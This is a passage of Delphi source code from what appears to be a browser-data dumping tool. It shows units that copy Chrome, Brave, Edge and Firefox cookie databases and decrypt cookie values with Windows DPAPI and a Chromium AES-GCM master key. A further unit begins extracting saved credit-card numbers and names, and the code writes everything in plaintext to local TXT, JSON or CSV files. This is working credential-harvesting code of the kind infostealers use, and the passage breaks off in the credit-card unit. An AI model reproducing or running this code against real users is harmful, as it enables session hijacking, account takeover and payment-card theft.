59 | function GetCookies: TCookieItems;
60 | procedure SortCookiesByDate(var Cookies: TCookieItems);
61 | function GetCookieCount: Integer;
62 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
63 | end;
64 |
65 | implementation
66 |
67 | function TChromiumCookieHelper.GetProfileName: string;
68 | var
69 | ProfileFolder: string;
70 | begin
71 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
72 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]);
73 | end;
74 |
75 | function TChromiumCookieHelper.GetBrowserPrefix: string;
76 | begin
77 | case FBrowserKind of
78 | bkChrome:
79 | Result := 'chrome';
80 | bkBrave:
81 | Result := 'brave';
82 | bkEdge:
83 | Result := 'edge';
84 | end;
85 | end;
86 |
87 | function TChromiumCookieHelper.DecryptValue(const EncryptedValue
88 | : TBytes): string;
89 | var
90 | DecryptedBytes: TBytes;
91 | begin
92 | Result := '';
93 | if Length(EncryptedValue) > 0 then
94 | begin
95 | // Try DPAPI first
96 | DecryptedBytes := ChromiumCrypto.DecryptWithDPAPI(EncryptedValue);
97 | if Length(DecryptedBytes) > 0 then
98 | try
99 | Result := TEncoding.UTF8.GetString(DecryptedBytes);
100 | except
101 | Result := '';
102 | end
103 | else
104 | begin
105 | // Try AES-GCM
106 | var
107 | MasterKey := ChromiumCrypto.GetMasterKey(FProfilePath);
108 | if Length(MasterKey) > 0 then
109 | begin
110 | DecryptedBytes := ChromiumCrypto.DecryptWithChromium(MasterKey,
111 | EncryptedValue);
112 | if Length(DecryptedBytes) > 0 then
113 | try
114 | Result := TEncoding.UTF8.GetString(DecryptedBytes);
115 | except
116 | // Fallback to raw char conversion if UTF8 fails
117 | for var i := 0 to Length(DecryptedBytes) - 1 do
118 | if DecryptedBytes[i] >= 32 then
119 | Result := Result + Char(DecryptedBytes[i]);
120 | end;
121 | end;
122 | end;
123 | end;
124 | end;
125 |
126 | procedure TChromiumCookieHelper.EnsureResultsDirectory;
127 | var
128 | ResultsDir: string;
129 | begin
130 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
131 | if not TDirectory.Exists(ResultsDir) then
132 | TDirectory.CreateDirectory(ResultsDir);
133 | end;
134 |
135 | procedure TChromiumCookieHelper.OutputHuman(const Cookies: TCookieItems);
136 | var
137 | OutputFile: TextFile;
138 | FileName, FilePath: string;
139 | begin
140 | EnsureResultsDirectory;
141 | FileName := Format('%s_%s_cookies.txt', [GetBrowserPrefix, GetProfileName]);
142 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
143 | AssignFile(OutputFile, FilePath);
144 | try
145 | Rewrite(OutputFile);
146 | for var Item in Cookies do
147 | begin
148 | WriteLn(OutputFile);
149 | WriteLn(OutputFile, 'Host: ', Item.Host);
150 | WriteLn(OutputFile, 'Path: ', Item.Path);
151 | WriteLn(OutputFile, 'Name: ', Item.KeyName);
152 | WriteLn(OutputFile, 'Value: ', Item.Value);
153 | WriteLn(OutputFile, 'Secure: ', Item.IsSecure);
154 | WriteLn(OutputFile, 'HTTPOnly: ', Item.IsHTTPOnly);
155 | WriteLn(OutputFile, 'Has Expire: ', Item.HasExpire);
156 | WriteLn(OutputFile, 'Persistent: ', Item.IsPersistent);
157 | WriteLn(OutputFile, 'Created: ', FormatDateTime('yyyy-mm-dd hh:nn:ss',
158 | Item.CreateDate));
159 | WriteLn(OutputFile, 'Expires: ', FormatDateTime('yyyy-mm-dd hh:nn:ss',
160 | Item.ExpireDate));
161 | WriteLn(OutputFile, '----------------------------------------');
162 | end;
163 | WriteLn(Format('[%s] Cookies saved to: %s', [GetBrowserPrefix.ToUpper,
164 | FilePath]));
165 |
166 | finally
167 | CloseFile(OutputFile);
168 | end;
169 | end;
170 |
171 | procedure TChromiumCookieHelper.OutputJSON(const Cookies: TCookieItems);
172 | var
173 | JSONArray: TJSONArray;
174 | JSONObject: TJSONObject;
175 | FileName, FilePath, JSONString: string;
176 | begin
177 | EnsureResultsDirectory;
178 | JSONArray := TJSONArray.Create;
179 | try
180 | for var Item in Cookies do
181 | begin
182 | JSONObject := TJSONObject.Create;
183 | JSONObject.AddPair('host', TJSONString.Create(Item.Host));
184 | JSONObject.AddPair('path', TJSONString.Create(Item.Path));
185 | JSONObject.AddPair('keyName', TJSONString.Create(Item.KeyName));
186 | JSONObject.AddPair('value', TJSONString.Create(Item.Value));
187 | JSONObject.AddPair('secure', TJSONBool.Create(Item.IsSecure));
188 | JSONObject.AddPair('httpOnly', TJSONBool.Create(Item.IsHTTPOnly));
189 | JSONObject.AddPair('hasExpire', TJSONBool.Create(Item.HasExpire));
190 | JSONObject.AddPair('persistent', TJSONBool.Create(Item.IsPersistent));
191 | JSONObject.AddPair('created', FormatDateTime('yyyy-mm-dd hh:nn:ss',
192 | Item.CreateDate));
193 | JSONObject.AddPair('expires', FormatDateTime('yyyy-mm-dd hh:nn:ss',
194 | Item.ExpireDate));
195 | JSONArray.AddElement(JSONObject);
196 | end;
197 |
198 | FileName := Format('%s_%s_cookies.json',
199 | [GetBrowserPrefix, GetProfileName]);
200 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'),
201 | FileName);
202 |
203 | JSONString := JSONArray.Format(2);
204 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]);
205 | TFile.WriteAllText(FilePath, JSONString);
206 |
207 | WriteLn(Format('[%s] Cookies saved to: %s', [GetBrowserPrefix.ToUpper,
208 | FilePath]));
209 |
210 | finally
211 | JSONArray.Free;
212 | end;
213 | end;
214 |
215 | procedure TChromiumCookieHelper.OutputCSV(const Cookies: TCookieItems);
216 | var
217 | OutputFile: TextFile;
218 | FileName, FilePath: string;
219 | begin
220 | EnsureResultsDirectory;
221 | FileName := Format('%s_%s_cookies.csv', [GetBrowserPrefix, GetProfileName]);
222 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
223 | AssignFile(OutputFile, FilePath);
224 | try
225 | Rewrite(OutputFile);
226 | WriteLn(OutputFile,
227 | 'Host,Path,KeyName,Value,IsSecure,IsHTTPOnly,HasExpire,IsPersistent,CreateDate,ExpireDate');
228 |
229 | for var Item in Cookies do
230 | begin
231 | WriteLn(OutputFile, Format('"%s","%s","%s","%s",%s,%s,%s,%s,"%s","%s"',
232 | [StringReplace(Item.Host, '"', '""', [rfReplaceAll]),
233 | StringReplace(Item.Path, '"', '""', [rfReplaceAll]),
234 | StringReplace(Item.KeyName, '"', '""', [rfReplaceAll]),
235 | StringReplace(Item.Value, '"', '""', [rfReplaceAll]),
236 | BoolToStr(Item.IsSecure, True), BoolToStr(Item.IsHTTPOnly, True),
237 | BoolToStr(Item.HasExpire, True), BoolToStr(Item.IsPersistent, True),
238 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.CreateDate),
239 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.ExpireDate)]));
240 | end;
241 |
242 | WriteLn(Format('[%s] Cookies saved to: %s', [GetBrowserPrefix.ToUpper,
243 | FilePath]));
244 |
245 | finally
246 | CloseFile(OutputFile);
247 | end;
248 | end;
249 |
250 | procedure TChromiumCookieHelper.OutputCookies(const Cookies: TCookieItems);
251 | begin
252 | case FOutputFormat of
253 | ofHuman:
254 | OutputHuman(Cookies);
255 | ofJSON:
256 | OutputJSON(Cookies);
257 | ofCSV:
258 | OutputCSV(Cookies);
259 | end;
260 | end;
261 |
262 | constructor TChromiumCookieHelper.Create(const AProfilePath: string;
263 | ABrowserKind: TBrowserKind = bkChrome);
264 |
265 | begin
266 | inherited Create;
267 | FProfilePath := AProfilePath;
268 | FBrowserKind := ABrowserKind;
269 | FOutputFormat := ofCSV;
270 | FSQLiteConnection := TUniConnection.Create(nil);
271 | FSQLiteConnection.ProviderName := 'SQLite';
272 | FSQLiteConnection.LoginPrompt := False;
273 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True';
274 | end;
275 |
276 | destructor TChromiumCookieHelper.Destroy;
277 | begin
278 | if Assigned(FSQLiteConnection) then
279 | begin
280 | if FSQLiteConnection.Connected then
281 | FSQLiteConnection.Disconnect;
282 | FSQLiteConnection.Free;
283 | end;
284 | inherited;
285 | end;
286 |
287 | function TChromiumCookieHelper.GetCookies: TCookieItems;
288 | var
289 | Query: TUniQuery;
290 | CookieDb, TempDb: string;
291 | FS: TFormatSettings;
292 | begin
293 | SetLength(Result, 0);
294 | //CookieDb := TPath.Combine(FProfilePath, 'Cookies');
295 | CookieDb := TPath.Combine(TPath.Combine(FProfilePath, 'Network'), 'Cookies');
296 |
297 | if not FileExists(CookieDb) then
298 | Exit;
299 |
300 | // Create temp copy of database
301 | TempDb := TPath.Combine(TPath.GetTempPath, Format('cookies_%s.sqlite',
302 | [TGUID.NewGuid.ToString]));
303 | try
304 | TFile.Copy(CookieDb, TempDb);
305 | FSQLiteConnection.Database := TempDb;
306 |
307 | FSQLiteConnection.Connect;
308 | Query := TUniQuery.Create(nil);
309 | try
310 | Query.Connection := FSQLiteConnection;
311 | Query.SQL.Text := CLOSE_JOURNAL_MODE;
312 | Query.ExecSQL;
313 | Query.SQL.Text := QUERY_CHROMIUM_COOKIE;
314 | Query.Open;
315 |
316 | while not Query.Eof do
317 | begin
318 | SetLength(Result, Length(Result) + 1);
319 | with Result[High(Result)] do
320 | begin
321 | KeyName := Query.FieldByName('name').AsString;
322 | Host := Query.FieldByName('host_key').AsString;
323 | Path := Query.FieldByName('path').AsString;
324 | IsSecure := Query.FieldByName('is_secure').AsInteger = 1;
325 | IsHTTPOnly := Query.FieldByName('is_httponly').AsInteger = 1;
326 | HasExpire := Query.FieldByName('has_expires').AsInteger = 1;
327 | IsPersistent := Query.FieldByName('is_persistent').AsInteger = 1;
328 |
329 | // Decrypt the cookie value
330 | var
331 | EncryptedValue := Query.FieldByName('encrypted_value').AsBytes;
332 | Value := DecryptValue(EncryptedValue);
333 |
334 | var
335 | CreateDateStr := Query.FieldByName('formatted_create_date').AsString;
336 | var
337 | ExpireDateStr := Query.FieldByName('formatted_expire_date').AsString;
338 |
339 | try
340 | FS := TFormatSettings.Create;
341 | FS.DateSeparator := '-';
342 | FS.TimeSeparator := ':';
343 | FS.ShortDateFormat := 'yyyy-mm-dd';
344 | FS.LongTimeFormat := 'hh:nn:ss';
345 | CreateDate := StrToDateTime(CreateDateStr, FS);
346 | ExpireDate := StrToDateTime(ExpireDateStr, FS);
347 | except
348 | on E: Exception do
349 | begin
350 | WriteLn('Error parsing dates - Create:', CreateDateStr,
351 | ' Expire:', ExpireDateStr, ' - ', E.Message);
352 | CreateDate := 0;
353 | ExpireDate := 0;
354 | end;
355 | end;
356 | end;
357 | Query.Next;
358 | end;
359 |
360 | if Length(Result) > 0 then
361 | begin
362 | SortCookiesByDate(Result);
363 | OutputCookies(Result);
364 | end;
365 |
366 | finally
367 | Query.Free;
368 | FSQLiteConnection.Disconnect;
369 | end;
370 |
371 | finally
372 | if FileExists(TempDb) then
373 | TFile.Delete(TempDb);
374 | end;
375 | end;
376 |
377 | procedure TChromiumCookieHelper.SortCookiesByDate(var Cookies: TCookieItems);
378 | var
379 | i, j: Integer;
380 | temp: TCookieItem;
381 | begin
382 | for i := Low(Cookies) to High(Cookies) - 1 do
383 | for j := i + 1 to High(Cookies) do
384 | if Cookies[i].CreateDate < Cookies[j].CreateDate then
385 | begin
386 | temp := Cookies[i];
387 | Cookies[i] := Cookies[j];
388 | Cookies[j] := temp;
389 | end;
390 | end;
391 |
392 | function TChromiumCookieHelper.GetCookieCount: Integer;
393 | var
394 | Query: TUniQuery;
395 | CookieDb, TempDb: string;
396 | begin
397 | Result := 0;
398 | CookieDb := TPath.Combine(FProfilePath, 'Cookies');
399 |
400 | if not FileExists(CookieDb) then
401 | Exit;
402 |
403 | // Create temp copy of database
404 | TempDb := TPath.Combine(TPath.GetTempPath, Format('cookies_%s.sqlite',
405 | [TGUID.NewGuid.ToString]));
406 | try
407 | TFile.Copy(CookieDb, TempDb);
408 | FSQLiteConnection.Database := TempDb;
409 |
410 | try
411 | FSQLiteConnection.Connect;
412 | Query := TUniQuery.Create(nil);
413 | try
414 | Query.Connection := FSQLiteConnection;
415 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM cookies';
416 | Query.Open;
417 | Result := Query.FieldByName('count').AsInteger;
418 | finally
419 | Query.Free;
420 | end;
421 | finally
422 | FSQLiteConnection.Disconnect;
423 | end;
424 | finally
425 | if FileExists(TempDb) then
426 | TFile.Delete(TempDb);
427 | end;
428 | end;
429 |
430 | end.
431 |
--------------------------------------------------------------------------------
/src/browserdata/cookie/FirefoxCookie.pas:
--------------------------------------------------------------------------------
1 | unit FirefoxCookie;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils, System.Classes, System.IOUtils, System.Generics.Collections,
7 | System.Generics.Defaults, System.DateUtils, System.JSON, System.StrUtils,
8 | Uni, SQLiteUniProvider;
9 |
10 | type
11 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
12 |
13 | TCookieItem = record
14 | Host: string;
15 | Path: string;
16 | KeyName: string;
17 | Value: string;
18 | IsSecure: Boolean;
19 | IsHTTPOnly: Boolean;
20 | HasExpire: Boolean;
21 | IsPersistent: Boolean;
22 | CreateDate: TDateTime;
23 | ExpireDate: TDateTime;
24 | end;
25 |
26 | TCookieItems = TArray;
27 |
28 | TFirefoxCookieHelper = class
29 | private
30 | FProfilePath: string;
31 | FOutputFormat: TOutputFormat;
32 | FSQLiteConnection: TUniConnection;
33 |
34 | const
35 | QUERY_FIREFOX_COOKIE =
36 | 'SELECT name, value, host, path, ' +
37 | 'strftime(''%Y-%m-%d %H:%M:%S'', creationTime/1000000, ''unixepoch'', ''localtime'') as formatted_create_date, ' +
38 | 'strftime(''%Y-%m-%d %H:%M:%S'', expiry, ''unixepoch'', ''localtime'') as formatted_expire_date, ' +
39 | 'isSecure, isHttpOnly FROM moz_cookies';
40 |
41 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off';
42 | function GetProfileName: string;
43 | procedure EnsureResultsDirectory;
44 | procedure OutputHuman(const Cookies: TCookieItems);
45 | procedure OutputJSON(const Cookies: TCookieItems);
46 | procedure OutputCSV(const Cookies: TCookieItems);
47 | procedure OutputCookies(const Cookies: TCookieItems);
48 | public
49 | constructor Create(const AProfilePath: string);
50 | destructor Destroy; override;
51 | function GetCookies: TCookieItems;
52 | procedure SortCookiesByDate(var Cookies: TCookieItems);
53 | function GetCookieCount: Integer;
54 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
55 | end;
56 |
57 | implementation
58 |
59 | function TFirefoxCookieHelper.GetProfileName: string;
60 | var
61 | ProfileFolder: string;
62 | begin
63 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
64 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]);
65 | end;
66 |
67 | procedure TFirefoxCookieHelper.EnsureResultsDirectory;
68 | var
69 | ResultsDir: string;
70 | begin
71 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
72 | if not TDirectory.Exists(ResultsDir) then
73 | TDirectory.CreateDirectory(ResultsDir);
74 | end;
75 |
76 | procedure TFirefoxCookieHelper.OutputHuman(const Cookies: TCookieItems);
77 | var
78 | OutputFile: TextFile;
79 | FileName, FilePath: string;
80 | begin
81 | EnsureResultsDirectory;
82 | FileName := Format('firefox_%s_cookies.txt', [GetProfileName]);
83 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
84 | AssignFile(OutputFile, FilePath);
85 | try
86 | Rewrite(OutputFile);
87 | for var Item in Cookies do
88 | begin
89 | WriteLn(OutputFile);
90 | WriteLn(OutputFile, 'Host: ', Item.Host);
91 | WriteLn(OutputFile, 'Path: ', Item.Path);
92 | WriteLn(OutputFile, 'Name: ', Item.KeyName);
93 | WriteLn(OutputFile, 'Value: ', Item.Value);
94 | WriteLn(OutputFile, 'Secure: ', Item.IsSecure);
95 | WriteLn(OutputFile, 'HTTPOnly: ', Item.IsHTTPOnly);
96 | WriteLn(OutputFile, 'Has Expire: ', Item.HasExpire);
97 | WriteLn(OutputFile, 'Persistent: ', Item.IsPersistent);
98 | WriteLn(OutputFile, 'Created: ', FormatDateTime('yyyy-mm-dd hh:nn:ss',
99 | Item.CreateDate));
100 | WriteLn(OutputFile, 'Expires: ', FormatDateTime('yyyy-mm-dd hh:nn:ss',
101 | Item.ExpireDate));
102 | WriteLn(OutputFile, '----------------------------------------');
103 | end;
104 | WriteLn('[FIREFOX] Cookies saved to: ', FilePath);
105 | finally
106 | CloseFile(OutputFile);
107 | end;
108 | end;
109 |
110 | procedure TFirefoxCookieHelper.OutputJSON(const Cookies: TCookieItems);
111 | var
112 | JSONArray: TJSONArray;
113 | JSONObject: TJSONObject;
114 | FileName, FilePath, JSONString: string;
115 | begin
116 | EnsureResultsDirectory;
117 | JSONArray := TJSONArray.Create;
118 | try
119 | for var Item in Cookies do
120 | begin
121 | JSONObject := TJSONObject.Create;
122 | JSONObject.AddPair('host', TJSONString.Create(Item.Host));
123 | JSONObject.AddPair('path', TJSONString.Create(Item.Path));
124 | JSONObject.AddPair('keyName', TJSONString.Create(Item.KeyName));
125 | JSONObject.AddPair('value', TJSONString.Create(Item.Value));
126 | JSONObject.AddPair('secure', TJSONBool.Create(Item.IsSecure));
127 | JSONObject.AddPair('httpOnly', TJSONBool.Create(Item.IsHTTPOnly));
128 | JSONObject.AddPair('hasExpire', TJSONBool.Create(Item.HasExpire));
129 | JSONObject.AddPair('persistent', TJSONBool.Create(Item.IsPersistent));
130 | JSONObject.AddPair('created', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.CreateDate));
131 | JSONObject.AddPair('expires', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.ExpireDate));
132 | JSONArray.AddElement(JSONObject);
133 | end;
134 |
135 | FileName := Format('firefox_%s_cookies.json', [GetProfileName]);
136 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
137 |
138 | // Convert JSON to string
139 | JSONString := JSONArray.Format(2);
140 |
141 | // Replace escaped forward slashes \/ with /
142 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]);
143 |
144 | // Save the modified JSON string
145 | TFile.WriteAllText(FilePath, JSONString);
146 |
147 | WriteLn('[FIREFOX] Cookies saved to: ', FilePath);
148 | finally
149 | JSONArray.Free;
150 | end;
151 | end;
152 |
153 | procedure TFirefoxCookieHelper.OutputCSV(const Cookies: TCookieItems);
154 | var
155 | OutputFile: TextFile;
156 | FileName, FilePath: string;
157 | begin
158 | EnsureResultsDirectory;
159 | FileName := Format('firefox_%s_cookies.csv', [GetProfileName]);
160 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
161 | AssignFile(OutputFile, FilePath);
162 | try
163 | Rewrite(OutputFile);
164 | WriteLn(OutputFile,
165 | 'Host,Path,KeyName,Value,IsSecure,IsHTTPOnly,HasExpire,IsPersistent,CreateDate,ExpireDate');
166 |
167 | for var Item in Cookies do
168 | begin
169 | WriteLn(OutputFile, Format('"%s","%s","%s","%s",%s,%s,%s,%s,"%s","%s"',
170 | [StringReplace(Item.Host, '"', '""', [rfReplaceAll]),
171 | StringReplace(Item.Path, '"', '""', [rfReplaceAll]),
172 | StringReplace(Item.KeyName, '"', '""', [rfReplaceAll]),
173 | StringReplace(Item.Value, '"', '""', [rfReplaceAll]),
174 | BoolToStr(Item.IsSecure, True), BoolToStr(Item.IsHTTPOnly, True),
175 | BoolToStr(Item.HasExpire, True), BoolToStr(Item.IsPersistent, True),
176 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.CreateDate),
177 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.ExpireDate)]));
178 | end;
179 |
180 | WriteLn('[FIREFOX] Cookies saved to: ', FilePath);
181 | finally
182 | CloseFile(OutputFile);
183 | end;
184 | end;
185 |
186 | procedure TFirefoxCookieHelper.OutputCookies(const Cookies: TCookieItems);
187 | begin
188 | case FOutputFormat of
189 | ofHuman:
190 | OutputHuman(Cookies);
191 | ofJSON:
192 | OutputJSON(Cookies);
193 | ofCSV:
194 | OutputCSV(Cookies);
195 | end;
196 | end;
197 |
198 | constructor TFirefoxCookieHelper.Create(const AProfilePath: string);
199 | begin
200 | inherited Create;
201 | FProfilePath := AProfilePath;
202 | FOutputFormat := ofCSV;
203 | FSQLiteConnection := TUniConnection.Create(nil);
204 | FSQLiteConnection.ProviderName := 'SQLite';
205 | FSQLiteConnection.LoginPrompt := False;
206 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True';
207 | end;
208 |
209 | destructor TFirefoxCookieHelper.Destroy;
210 | begin
211 | if Assigned(FSQLiteConnection) then
212 | begin
213 | if FSQLiteConnection.Connected then
214 | FSQLiteConnection.Disconnect;
215 | FSQLiteConnection.Free;
216 | end;
217 | inherited;
218 | end;
219 |
220 | function TFirefoxCookieHelper.GetCookies: TCookieItems;
221 | var
222 | Query: TUniQuery;
223 | CookieDb, TempDb: string;
224 | FS: TFormatSettings;
225 | begin
226 | SetLength(Result, 0);
227 | CookieDb := TPath.Combine(FProfilePath, 'cookies.sqlite');
228 |
229 | if not FileExists(CookieDb) then
230 | Exit;
231 |
232 | // Create temp copy of database
233 | TempDb := TPath.Combine(TPath.GetTempPath, Format('cookies_%s.sqlite',
234 | [TGUID.NewGuid.ToString]));
235 | try
236 | TFile.Copy(CookieDb, TempDb);
237 | FSQLiteConnection.Database := TempDb;
238 |
239 | FSQLiteConnection.Connect;
240 | Query := TUniQuery.Create(nil);
241 | try
242 | Query.Connection := FSQLiteConnection;
243 | Query.SQL.Text := CLOSE_JOURNAL_MODE;
244 | Query.ExecSQL;
245 | Query.SQL.Text := QUERY_FIREFOX_COOKIE;
246 | Query.Open;
247 |
248 | while not Query.Eof do
249 | begin
250 | SetLength(Result, Length(Result) + 1);
251 | with Result[High(Result)] do
252 | begin
253 | Host := Query.FieldByName('host').AsString;
254 | Path := Query.FieldByName('path').AsString;
255 | KeyName := Query.FieldByName('name').AsString;
256 | Value := Query.FieldByName('value').AsString;
257 | IsSecure := Query.FieldByName('isSecure').AsInteger = 1;
258 | IsHTTPOnly := Query.FieldByName('isHttpOnly').AsInteger = 1;
259 | HasExpire := True;
260 | IsPersistent := True;
261 |
262 | var CreateDateStr := Query.FieldByName('formatted_create_date').AsString;
263 |
264 | try
265 | FS := TFormatSettings.Create;
266 | FS.DateSeparator := '-';
267 | FS.TimeSeparator := ':';
268 | FS.ShortDateFormat := 'yyyy-mm-dd';
269 | FS.LongTimeFormat := 'hh:nn:ss';
270 | CreateDate := StrToDateTime(CreateDateStr, FS);
271 | except
272 | on E: Exception do
273 | begin
274 | WriteLn('Error parsing create date: ' + CreateDateStr + ' - ' + E.Message);
275 | CreateDate := 0;
276 | end;
277 | end;
278 |
279 | var ExpireDateStr := Query.FieldByName('formatted_expire_date').AsString;
280 |
281 | try
282 | ExpireDate := StrToDateTime(ExpireDateStr, FS);
283 | except
284 | on E: Exception do
285 | begin
286 | WriteLn('Error parsing expire date: ' + ExpireDateStr + ' - ' + E.Message);
287 | ExpireDate := 0;
288 | end;
289 | end;
290 | end;
291 | Query.Next;
292 | end;
293 |
294 | if Length(Result) > 0 then
295 | begin
296 | SortCookiesByDate(Result);
297 | OutputCookies(Result);
298 | end;
299 |
300 | finally
301 | Query.Free;
302 | FSQLiteConnection.Disconnect;
303 | end;
304 |
305 | finally
306 | if FileExists(TempDb) then
307 | TFile.Delete(TempDb);
308 | end;
309 | end;
310 |
311 | procedure TFirefoxCookieHelper.SortCookiesByDate(var Cookies: TCookieItems);
312 | var
313 | i, j: Integer;
314 | temp: TCookieItem;
315 | begin
316 | for i := Low(Cookies) to High(Cookies) - 1 do
317 | for j := i + 1 to High(Cookies) do
318 | if Cookies[i].CreateDate < Cookies[j].CreateDate then
319 | begin
320 | temp := Cookies[i];
321 | Cookies[i] := Cookies[j];
322 | Cookies[j] := temp;
323 | end;
324 | end;
325 |
326 | function TFirefoxCookieHelper.GetCookieCount: Integer;
327 | var
328 | Query: TUniQuery;
329 | CookieDb, TempDb: string;
330 | begin
331 | Result := 0;
332 | CookieDb := TPath.Combine(FProfilePath, 'cookies.sqlite');
333 |
334 | if not FileExists(CookieDb) then
335 | Exit;
336 |
337 | // Create temp copy of database
338 | TempDb := TPath.Combine(TPath.GetTempPath, Format('cookies_%s.sqlite',
339 | [TGUID.NewGuid.ToString]));
340 | try
341 | TFile.Copy(CookieDb, TempDb);
342 | FSQLiteConnection.Database := TempDb;
343 |
344 | try
345 | FSQLiteConnection.Connect;
346 | Query := TUniQuery.Create(nil);
347 | try
348 | Query.Connection := FSQLiteConnection;
349 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM moz_cookies';
350 | Query.Open;
351 | Result := Query.FieldByName('count').AsInteger;
352 | finally
353 | Query.Free;
354 | end;
355 | finally
356 | FSQLiteConnection.Disconnect;
357 | end;
358 | finally
359 | if FileExists(TempDb) then
360 | TFile.Delete(TempDb);
361 | end;
362 | end;
363 |
364 | end.
365 |
--------------------------------------------------------------------------------
/src/browserdata/creditcard/ChromiumCreditCard.pas:
--------------------------------------------------------------------------------
1 | unit ChromiumCreditCard;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils, System.Classes, System.IOUtils, System.DateUtils,
7 | System.JSON, System.NetEncoding, System.Generics.Collections,
8 | Winapi.Windows, Uni, SQLiteUniProvider;
9 |
10 | type
11 | TBrowserKind = (bkChrome, bkBrave, bkEdge);
12 |
13 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
14 |
15 | TCreditCardData = record
16 | GUID: string;
17 | Name: string;
18 | ExpirationYear: string;
19 | ExpirationMonth: string;
20 | CardNumber: string;
21 | Address: string;
22 | NickName: string;
23 | end;
24 |
25 | TCreditCardDataArray = TArray;
26 |
27 | TChromiumCreditCardHelper = class
28 | private
29 | FProfilePath: string;
30 | FOutputFormat: TOutputFormat;
31 | FBrowserKind: TBrowserKind;
32 | FSQLiteConnection: TUniConnection;
33 |
34 | const
35 | QUERY_Chromium_CREDITCARD =
36 | 'SELECT guid, name_on_card, expiration_month, expiration_year, ' +
37 | 'card_number_encrypted, billing_address_id, nickname ' +
38 | 'FROM credit_cards';
39 |
40 | function GetProfileName: string;
41 | function GetBrowserPrefix: string;
42 | procedure EnsureResultsDirectory;
43 | procedure OutputHuman(const CreditCards: TCreditCardDataArray);
44 | procedure OutputJSON(const CreditCards: TCreditCardDataArray);
45 | procedure OutputCSV(const CreditCards: TCreditCardDataArray);
46 | procedure OutputCreditCards(const CreditCards: TCreditCardDataArray);
47 | function DecryptWithDPAPI(const EncryptedData: TBytes): string;
48 |
49 | public
50 | constructor Create(const AProfilePath: string;
51 | ABrowserKind: TBrowserKind = bkChrome);
52 | destructor Destroy; override;
53 | function GetCreditCards: TCreditCardDataArray;
54 | function GetCreditCardCount: Integer;
55 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
56 | end;
57 |
58 | implementation
59 |
60 | type
61 | DATA_BLOB = record
62 | cbData: DWORD;
63 | pbData: PByte;
64 | end;
65 |
66 | PDATA_BLOB = ^DATA_BLOB;
67 |
68 | TCryptUnprotectData = function(pDataIn: PDATA_BLOB; ppszDataDescr: PWideChar;
69 | pOptionalEntropy: PDATA_BLOB; pvReserved: Pointer; pPromptStruct: Pointer;
70 | dwFlags: DWORD; pDataOut: PDATA_BLOB): BOOL; stdcall;
71 |
72 | function TChromiumCreditCardHelper.DecryptWithDPAPI(const EncryptedData
73 | : TBytes): string;
74 | var
75 | DLLHandle: THandle;
76 | CryptUnprotectData: TCryptUnprotectData;
77 | DataIn, DataOut: DATA_BLOB;
78 | DecryptedBytes: TBytes;
79 | begin
80 | Result := '';
81 | if Length(EncryptedData) = 0 then
82 | Exit;
83 |
84 | DLLHandle := LoadLibrary('Crypt32.dll');
85 | if DLLHandle = 0 then
86 | Exit;
87 |
88 | try
89 | @CryptUnprotectData := GetProcAddress(DLLHandle, 'CryptUnprotectData');
90 | if not Assigned(CryptUnprotectData) then
91 | Exit;
92 |
93 | DataIn.cbData := Length(EncryptedData);
94 | DataIn.pbData := @EncryptedData[0];
95 |
96 | if CryptUnprotectData(@DataIn, nil, nil, nil, nil, 0, @DataOut) then
97 | begin
98 | SetLength(DecryptedBytes, DataOut.cbData);
99 | Move(DataOut.pbData^, DecryptedBytes[0], DataOut.cbData);
100 | LocalFree(HLOCAL(DataOut.pbData));
101 | Result := TEncoding.UTF8.GetString(DecryptedBytes);
102 | end;
103 | finally
104 | FreeLibrary(DLLHandle);
105 | end;
106 | end;
107 |
108 | function TChromiumCreditCardHelper.GetProfileName: string;
109 | begin
110 | Result := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
111 | end;
112 |
113 | function TChromiumCreditCardHelper.GetBrowserPrefix: string;
114 | begin
115 | case FBrowserKind of
116 | bkChrome:
117 | Result := 'chrome';
118 | bkBrave:
119 | Result := 'brave';
120 | bkEdge:
121 | Result := 'edge';
122 | end;
123 | end;
124 |
125 | procedure TChromiumCreditCardHelper.EnsureResultsDirectory;
126 | var
127 | ResultsDir: string;
128 | begin
129 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
130 | if not TDirectory.Exists(ResultsDir) then
131 | TDirectory.CreateDirectory(ResultsDir);
132 | end;
133 |
134 | procedure TChromiumCreditCardHelper.OutputHuman(const CreditCards
135 | : TCreditCardDataArray);
136 | var
137 | OutputFile: TextFile;
138 | FileName, FilePath: string;
139 | begin
140 | EnsureResultsDirectory;
141 | FileName := Format('%s_%s_creditcards.txt',
142 | [GetBrowserPrefix, GetProfileName]);
